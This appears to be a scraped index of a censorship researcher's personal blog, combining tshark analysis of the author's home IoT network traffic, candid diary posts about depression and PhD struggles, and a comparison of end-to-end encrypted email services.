tshark -r iot_ap_120s.pcap -Y \u0026#34;dns.flags.response==0\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 Nov 23, 2025 11:48:38.131162000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:42.961690000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:42.962245000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:42.962911000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:43.098378000 CET\t192.168.50.1\tMSS110-f691._hap._tcp.local Nov 23, 2025 11:48:43.158641000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:43.201440000 CET\t192.168.50.202\t_companion-link._tcp.local Nov 23, 2025 11:48:43.532623000 CET\t192.168.50.1\tMSS110-080d._hap._tcp.local Nov 23, 2025 11:48:43.962673000 CET\t192.168.50.1\t_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:49.110167000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:49.110760000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:49.111395000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:49.272920000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:49.311002000 CET\t192.168.50.1\tMSS110-0ba7._hap._tcp.local Nov 23, 2025 11:48:49.619376000 CET\t192.168.50.1\tMain Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local Nov 23, 2025 11:48:50.115506000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:55.037844000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:55.038380000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:55.038926000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:55.060503000 CET\t192.168.50.202\t_companion-link._tcp.local # mDNS service announcements (AirPlay/HomeKit live here) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;udp.port==5353 \u0026amp;\u0026amp; dns\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \\ | head -n 30 The latter had no output as I wasn\u0026rsquo;t able to make that work with a static route and relied on Tailscale. (?)\nTLS SNI (which cloud endpoints?) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;tls.handshake.extensions_server_name\u0026#34; \\ -T fields -e ip.dst -e tls.handshake.extensions_server_name \\ | sort | uniq -c | sort -k1,1nr | head -n 20 1 1.1.1.1\tone.one.one.one 1 17.253.37.195\tstreamingaudio.itunes.apple.com 1 17.253.53.202\tpancake.apple.com 1 17.253.53.203\tradio-activity.itunes.apple.com 1 17.56.138.35\tcma.itunes.apple.com 1 2.19.120.151\tplay.itunes.apple.com 1 23.58.105.122\tlibrarydaap.itunes.apple.com 1 54.217.122.41\tguzzoni.apple.com Ports in use (quick heat check) ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \\ | awk \u0026#39;{for(i=1;i\u0026lt;=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf \u0026#34;%-8s %8d\\n\u0026#34;, k, p[k]}\u0026#39; \\ | sort -k2,2nr | head -n 20 64725 19588 443 4086 5353 318 49395 109 7000 109 55514 102 55510 101 64721 47 54806 40 20002 32 64722 27 8883 23 49154 21 55515 21 64723 19 64728 19 64729 19 5223 14 64724 14 64686 13 Epilogue I\u0026rsquo;ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! 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That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put \u003cstrong\u003eall the IoT stuff behind a Raspberry Pi\u003c/strong\u003e that shows up as \u003cstrong\u003eone\u003c/strong\u003e device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\u003c/p\u003e","title":"I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)"},{"content":"It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\nFunny how I loved my research, the group, the people, hanging out, trying new things. It\u0026rsquo;s just funny how everything changed all of the sudden. How I don\u0026rsquo;t feel anything anymore. How sad I\u0026rsquo;ve been. How down I\u0026rsquo;ve been. My cognitive functions, my memory and everything has been also badly damaged. It\u0026rsquo;s just horrible.\nI\u0026rsquo;ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.\nI was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said \u0026ldquo;why do you want to label things?\u0026rdquo;.\nThis is actually a really valid question. I don\u0026rsquo;t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.\nThis is what I call the loop of doom. MDD. I don\u0026rsquo;t even know if I\u0026rsquo;m experiencing it or not. All I know is that things are not right, and I don\u0026rsquo;t feel well.\nNow here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn\u0026rsquo;t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.\nI\u0026rsquo;m happy that I\u0026rsquo;ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.\nIt\u0026rsquo;s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It\u0026rsquo;s just scary, and sad. I know I\u0026rsquo;m losing precious time that I cannot get back. I know at some point I\u0026rsquo;m expected to deliver results that I won\u0026rsquo;t have, and I know I won\u0026rsquo;t like myself when this inevitable happens.\nI really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I\u0026rsquo;ve been told to do by my brother in the meanwhile:\nGoing for short walks Doing small tasks that make me feel good idk\u0026hellip; I don\u0026rsquo;t remember anything else. ChatGPT also gave me some advice, I\u0026rsquo;ll copy it here:\n# 14‑Day Reset — Daily Checklist **Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ ### How to use (60 seconds) * Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). * Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. * Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). * If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. ### Define today’s Minimum Reliable Dose (MRD) *(Write clear, tiny actions with a start line → action → done proof.)* * **Study MRD:** ________________________________________________________________ * --- * **Work/Code MRD:** ____________________________________________________________ * --- --- ### Daily tracker (14 days) | Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | | -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | | 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | | 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | --- ### Quick reference **Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). **Code — restart protocol:** 1. Open repo → `git status` → run tests/linter → open last‑changed file. 2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. 3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. --- ### Safety net (Germany) * **Emergency:** 112 * **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. Lmao. I wonder how things will progress in the future, and how I\u0026rsquo;ll do. Was it really because of a failed relationship? Really? Something that never happened? I don\u0026rsquo;t believe it, it\u0026rsquo;s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn\u0026rsquo;tve these feelings. Maybe, just maybe.\nBut I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn\u0026rsquo;t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.\nDarn. That is a lot. Lot of bad things. Back to back to back.\nOk. Let\u0026rsquo;s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don\u0026rsquo;t. But I will figure it out and make it work. I have to. I ain\u0026rsquo;t, and I wasn\u0026rsquo;t brought up like this. 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I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\u003c/p\u003e","title":"The Loop of Doom"},{"content":"The lyrics are being played in my brain day and night.\n\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\n\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\n\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\nBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\n\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\nI might\u0026rsquo;ve given more than two chances to cupid.\nBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\n\u0026ldquo;I look for his arrows every day\u0026rdquo;\n\u0026ldquo;I guess he got lost or flew away\u0026rdquo;\nBut does it matter anymore? It shouldn\u0026rsquo;t. It really shouldn\u0026rsquo;t.\nNow all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I\u0026rsquo;ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn\u0026rsquo;t told me.\nFunny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn\u0026rsquo;t funny, idk. What I do know however is that I\u0026rsquo;m hurt. There is a bit more to the story than that, but I don\u0026rsquo;t want to open it up. It\u0026rsquo;s way too personal to be opened.\nThe thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.\nI\u0026rsquo;ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.\nI started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.\nI need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.\nFor now all I know is that I\u0026rsquo;m stuck in MDD, and I cannot get out of it. I\u0026rsquo;m glad suicidal thoughs are off the table. I\u0026rsquo;m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.\nI think this is just so painful to me in the sense that I don\u0026rsquo;t really have many friends that I consider as friends, and I\u0026rsquo;m being left alone from some groups that I don\u0026rsquo;t necesserially wanna be a part of. But oh well, I should not care.\nCredit: Cupid by FIFTY FIFTY\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa\u0026#43;CzLQY5UgxMloPUPb7wt0PeUf CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7\u0026#43;GF9IUv YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa 2RWo2WA0w9PIvb/rv77\u0026#43;fOx5g7P1Ap\u0026#43;mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 oKcf7IO8MJNs4l3\u0026#43;990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm 7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq\u0026#43;Tl/MSNQVfwTbxBMkGxmLQwEWY9 mUD\u0026#43;FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ 91kzN5JeoMvwawhIt9N8\u0026#43;nPGUOs3RTy\u0026#43;qHk9L7DHhtAycdFqm/c= =sXgB -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/cupid.md.asc gpg --verify cupid.md.asc cupid.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/cupid/","summary":"\u003cp\u003eThe lyrics are being played in my brain day and night.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI might\u0026rsquo;ve given more than two chances to cupid.\u003c/p\u003e\n\u003cp\u003eBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I look for his arrows every day\u0026rdquo;\u003c/p\u003e","title":"Cupid is so dumb"},{"content":"1st Ok, let\u0026rsquo;s start the month by declareing some goals and agendas.\nWhat do I want to do this month?\nFinish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how do I set this as a measureable goal? More literature review, persumabely all of FOCI related papers this month. Work on my codebase: Do code cleaning Add comments for code Start working on ICMP stuff More socializing! :-) A fun pet project? Maybe with Go? Maybe with 3d printer? Idk. Enhance your routines and add exercise to it please! Alright. Now that the goals are set, let\u0026rsquo;s start the month strong! My last exam for pervious semester will be on October 7th. I have done 74 ECTS, another 6 will be my last RIL. If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. I then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\nI have started to take SSRIs again. I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. After being all happy and things working very well, we started to cut the last piece of the puzzle. We agreed to reduce the dosage by 0.25% of the max and wait for one month. Things were going really well for the first two and a half month, and then it happened. The catastrophe that put me in my worst mental and physicall position happened to me. It\u0026rsquo;s not something I want to talk about in my blog, well at least for now, but I\u0026rsquo;ve tried to talk about it with my closest friends. It\u0026rsquo;s so sad that things happened the way they did. I never really fully recovered. But\u0026hellip; time has passed. Almost 8 months now. I should not have continued to cut my medication, but I did. I damaged myself badly by being stubborn. My brother who knew everything insisted that I should continue the usage, but I didn\u0026rsquo;t listen. My parents didn\u0026rsquo;t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. I was scared of my own shadow for more than one month. I eventually started to go out, but seeing some certain people made me uncomfortable. This is another thing I haven\u0026rsquo;t been able to figure out. In the end, I just endured pain, a lot of pain. I\u0026rsquo;m glad I didn\u0026rsquo;t break, but I do think most people would\u0026rsquo;ve. To deal with this pain, I decided to take many courses. Cure pain with more pain. What a fool I was. I just tore myself up mentally and added much more unneeded stress.\nDid I mention I didn\u0026rsquo;t show up in office for 6 weeks? And that when I came back I was hit again with things I didn\u0026rsquo;t understand? Sometimes in life shit happens, but this was a whole new level. I don\u0026rsquo;t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. I\u0026rsquo;ve been trying to just lay low, stick to myself, and stay the hell out of trouble.\n3rd Today is the German unity day, and we have a long weekend ahead! Other than that, last night was one of the most fantabolous days of my life. I\u0026rsquo;m feeling more content and secure. I\u0026rsquo;m feeling true happiness. I don\u0026rsquo;t know how much the SSRI is affecting me, but I know one thing for sure. I\u0026rsquo;m just like I used to be 9 months ago. Just as jolly, positive, and feeling like I\u0026rsquo;m on top of the world. Thinking about it a bit more, I do think I\u0026rsquo;m being a bit less passionate about my work. What could be the reason? Different priorities? Nah. I really love my research and care about it. I think it\u0026rsquo;s just that there is no pressure on me, and no deadline. I will try to set small deadlines for myself and force myself to be more productive. Oh, and the SSRI adverse effects are visible! Yeah\u0026hellip; But it\u0026rsquo;s going to be alright, I\u0026rsquo;m sure of it. I have an exam I need to prepare for on 7th, but I\u0026rsquo;ve been procrastinating. I should plan my days and stick to it. Hell yes.\n5th My student workshop paper to CoNEXT \u0026lsquo;25 was rejected. It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.\nFirst review (wa) provided two suggestions for improving the work. However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.\nSecond review (wr) asked for more details. In the end they suggested only focusing on one approach and it\u0026rsquo;s evaluation. This kinda defeated the purpose of what I was trying to do, to provide \u0026ldquo;tools\u0026rdquo;.\nAnother thing they mentioned was how ML-based traffic analysis can be used to detect evasion. This is indeed something I like to work on and look at in the near future.\n7th Stressful day. I had my last exam, the exam for Interactive systems that I did not attend the main exam for. I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. I don\u0026rsquo;t know how I did, but I\u0026rsquo;m glad I did the exam. Hopefully I did alright, although I kinda do know some of the mistakes I\u0026rsquo;ve made, which is a really bad sign\u0026hellip; I hope I won\u0026rsquo;t have to take another extra course in the next semesters, that would just be annoying. I really do hope so.\n8th I\u0026rsquo;m back at work, still very distracted with life. I do need to do literature review, expand my framework, and focus on my work. It\u0026rsquo;s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. I hope I can get myself together and start being productive again.\n9th I will be doing literature review today. Yesteday I didn\u0026rsquo;t manage to get myself together. Drat. There will be a nice social event later today too. I can rest and socialize with my group\u0026rsquo;s amazing people! It\u0026rsquo;ll be fun! :)\nAnother fun thing is that I will get my very own physical GFW box today. It\u0026rsquo;s probably the most majestic thing that could\u0026rsquo;ve happened? The reason for it is that a month ago there was a leak for GFW. Lucky us I guess.\n13th Last week was again not a productive week. I will start to plan my days from now on. The important things are literature review, working on the code base, and looking at the box a bit. Unfortunately the new semester also starts from today. I\u0026rsquo;ll be having one, at most two courses.\n17th Another unproductive week. I think this was the worst one actually. I can\u0026rsquo;t focus on reading the papers, I get distracted easily or lose interest. Tobias suggested USENIX\u0026rsquo;s 3-slide slide deck to enhance my focus, I\u0026rsquo;ll give it a try.\nI also need to address the elephant in the room, and start working on the codebase.\nI also need to look at the GFW files more, and try to find useful stuff there.\nBut first I need to work on HTDN\u0026rsquo;s papers, and craft the slides. That is the highest priority on my list. I\u0026rsquo;ll do it.\n31st It went by. It went by quickly. I wasn\u0026rsquo;t able to pick myself up this month, but I won\u0026rsquo;t let it happen in the following. I want to be truthful, so I won\u0026rsquo;t hide anything. the only thing is I should\u0026rsquo;ve let myself grief a bit, and I did. I\u0026rsquo;m proud of it. It\u0026rsquo;s fine. For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. I promise.\nAlso I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it\u0026rsquo;s not a bad thing. The problem is I don\u0026rsquo;t have much to present, and that\u0026rsquo;s why this is the content. Idk if I change the structure or not, but for now it is what it is.\nOk, let\u0026rsquo;s set some goals for next month in advance, then we can see how good we did.\nI want to work on ICMP stuff and make it work nicely. I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this. I need to keep up with my courses, including the German class. I might work more on the GFW leaked data, but I think it\u0026rsquo;s not a priority for me for now. So\u0026hellip; scrap this last one. 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Maybe with Go? Maybe with 3d printer? Idk.\u003c/li\u003e\n\u003cli\u003eEnhance your routines and add exercise to it please!\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAlright. Now that the goals are set, let\u0026rsquo;s start the month strong!\nMy last exam for pervious semester will be on October 7th.\nI have done 74 ECTS, another 6 will be my last RIL.\nIf they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase.\nI then just need to do my QE for which I should submit my first paper for which I\u0026rsquo;m doing work!\u003c/p\u003e","title":"October '25"},{"content":"If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.\nHonestly, I don\u0026rsquo;t know why one would settle down for a paid option, but if you want to, then be my guest.\nWhy people don’t use E2EE email (and why you still should) Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.\nBut the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.\nI mean, generally speaking one can use e2ee for anything, and not just email, but doesn\u0026rsquo;t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you\u0026rsquo;re good to go!\nThe contenders (and how they feel to use) Proton Mail (consumer‑friendly, great cross‑provider story) Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.\nPrices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.\nHow to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.\nUps: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.\nDowns: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.\nHonestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It\u0026rsquo;s easy to use, and fun to show off.\nTuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.\nPrices (personal \u0026amp; business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.\nHow to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.\nUps: Max privacy posture; encrypted subjects between Tuta users; clean apps.\nDowns: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.\nI was introduced to this one literally for writing this post, I had no idea it existed before.\nGmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace) If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.\nPrices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.\nHow to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.\nUps: Seamless for employees; centralized key control; good audit/compliance story.\nDowns: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.\nI mean\u0026hellip; how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won\u0026rsquo;t. Not with the emails that matter to me.\nOutlook / Apple Mail with S/MIME (classic enterprise path) S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.\nPrices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.\nHow to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.\nUps: Great inside enterprises; MDM‑friendly; widely supported.\nDowns: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.\nOk. Is there that big of a difference between these and Gmail? Idk. I ain\u0026rsquo;t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.\nThunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.\nPrices: Free.\nHow to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.\nUps: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.\nDowns: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.\nThis is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don\u0026rsquo;t have iOS app which sucks, idk about Android.\nBrowser add‑ons: Mailvelope \u0026amp; FlowCrypt (bring E2EE to webmail) If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.\nPrices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.\nHow to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.\nUps: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.\nDowns: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells \u0026amp; whistles than a full desktop client.\nJust no. Don\u0026rsquo;t trust add-ons. Please.\nSo… which should you use? If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic 